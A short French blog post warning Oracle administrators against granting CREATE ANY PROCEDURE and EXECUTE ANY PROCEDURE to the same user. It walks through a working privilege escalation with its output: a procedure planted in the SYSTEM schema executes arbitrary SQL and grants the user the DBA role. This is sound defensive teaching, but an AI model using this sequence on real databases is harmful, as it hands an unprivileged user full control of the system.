vendredi 6 juin 2014

Les Dangers de CREATE ANY PROCEDURE et EXECUTE ANY PROCEDURE

J’ai testé cet exemple sur Oracle 12.1. Il ne faut pas donner CREATE ANY PROCEDURE et EXECUTE ANY PROCEDURE au même utilisateur. Pourquoi pas? Alors, j’ai donné ces deux privilèges ou droits à Andrew:
 
SQL> conn / as sysdba
Connected.
SQL> grant create any procedure,
  2        execute any procedure,
  3        create session
  4  to andrew identified by reid
  5  /
 
Autorisation de privilèges (GRANT) acceptée.
 
SQL>
 
Le droit CREATE ANY PROCEDURE lui a permi de créer une procédure dans SYSTEM:
 
SQL> conn andrew/reid
Connected.
SQL> create or replace procedure
  2  system.run_sql(sqlstr in varchar2) is
  3  begin
  4  execute immediate sqlstr;
  5  end;
  6  /
 
Procédure créée.
 
SQL>
 
Le droit EXECUTE ANY PROCEDURE lui a permi de lancer cette procédure:
 
SQL> exec system.run_sql('grant dba to andrew');
 
Procédure PL/SQL terminée avec succès.
 
SQL>
 
… et maintenant il a le rôle DBA et il peut faire ce qu’il veut dans ma base de données :
 
SQL> select granted_role from user_role_privs
  2  /
 
GRANTED_ROLE
-------------------------------------------------------
DBA
 
SQL>

Aucun commentaire:

Enregistrer un commentaire